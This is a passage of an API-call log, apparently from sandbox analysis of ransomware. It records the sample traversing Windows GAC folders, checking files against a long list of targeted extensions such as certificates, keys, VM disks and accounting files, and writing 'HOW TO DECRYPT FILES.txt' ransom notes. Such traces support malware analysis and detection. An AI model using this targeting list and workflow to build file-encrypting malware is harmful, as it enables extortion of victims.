[0098.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.odb") returned 0 [0098.728] lstrlenA (lpString="*.odb") returned 5 [0098.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.java") returned 0 [0098.728] lstrlenA (lpString="*.java") returned 6 [0098.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.asm") returned 0 [0098.728] lstrlenA (lpString="*.asm") returned 5 [0098.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.pfx") returned 0 [0098.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.pem") returned 0 [0098.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.p12") returned 0 [0098.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.gpg") returned 0 [0098.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.vsd") returned 0 [0098.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.odg") returned 0 [0098.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.raw") returned 0 [0098.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.nef") returned 0 [0098.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.svg") returned 0 [0098.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.psd") returned 0 [0098.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.vmx") returned 0 [0098.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.vmdk") returned 0 [0098.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.vdi") returned 0 [0098.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.lay6") returned 0 [0098.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.mpeg") returned 0 [0098.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.djvu") returned 0 [0098.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.tiff") returned 0 [0098.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.backup") returned 0 [0098.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.pdf") returned 0 [0098.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.cert") returned 0 [0098.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.docm") returned 0 [0098.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.xlsm") returned 0 [0098.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.dwg") returned 0 [0098.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.nd") returned 0 [0098.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.tlg") returned 0 [0098.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.lgb") returned 0 [0098.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.mov") returned 0 [0098.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.xdw") returned 0 [0098.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.ods") returned 0 [0098.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.wav") returned 0 [0098.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.mp3") returned 0 [0098.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.aiff") returned 0 [0098.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.flac") returned 0 [0098.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.m4a") returned 0 [0098.731] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", pszSpec="*.csv") returned 0 [0098.732] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69af5d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69af5d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b1be90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.732] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.732] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69af5d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69af5d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69af5d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0098.732] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.732] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2f67330, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2f67330, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2f67330, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c642e30, dwReserved1=0x72006c, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0", cAlternateFileName="MIFD6C~1.0")) returned 1 [0098.732] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0") returned -1 [0098.732] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0") returned -1 [0098.732] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0098.732] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0" [0098.732] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2f67330, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2f67330, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2f67330, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0098.733] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.733] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2f67330, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa2f67330, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2f67330, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.733] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.733] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.733] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61771db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0098.733] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.733] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.733] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\*.*") returned="*.*" [0098.733] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\", lpString2="9.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a" [0098.734] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61771db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0098.734] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.734] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61771db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.734] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.734] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.734] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61771db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.734] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0098.734] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll") returned -1 [0098.735] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll") returned -1 [0098.735] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll") returned -1 [0098.743] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0098.743] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" [0098.743] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="" [0098.744] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0098.744] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.appinfodocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0098.744] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.appinfodocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0098.785] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0098.803] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.803] CloseHandle (hObject=0x90) returned 1 [0098.804] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll" [0098.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.ems") returned 0 [0098.805] lstrlenA (lpString="*.ems") returned 5 [0098.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.db") returned 0 [0098.805] lstrlenA (lpString="*.db") returned 4 [0098.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.dbf") returned 0 [0098.805] lstrlenA (lpString="*.dbf") returned 5 [0098.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.myox") returned 0 [0098.806] lstrlenA (lpString="*.myox") returned 6 [0098.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.myo") returned 0 [0098.806] lstrlenA (lpString="*.myo") returned 5 [0098.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.qbw") returned 0 [0098.806] lstrlenA (lpString="*.qbw") returned 5 [0098.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.qbb") returned 0 [0098.806] lstrlenA (lpString="*.qbb") returned 5 [0098.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.qbm") returned 0 [0098.806] lstrlenA (lpString="*.qbm") returned 5 [0098.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.qbo") returned 0 [0098.806] lstrlenA (lpString="*.qbo") returned 5 [0098.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.qbx") returned 0 [0098.806] lstrlenA (lpString="*.qbx") returned 5 [0098.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.qba") returned 0 [0098.806] lstrlenA (lpString="*.qba") returned 5 [0098.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", pszSpec="*.qby") returned 0 [0098.806] lstrlenA (lpString="*.qby") returned 5 [0098.806] PathMatchSpecA 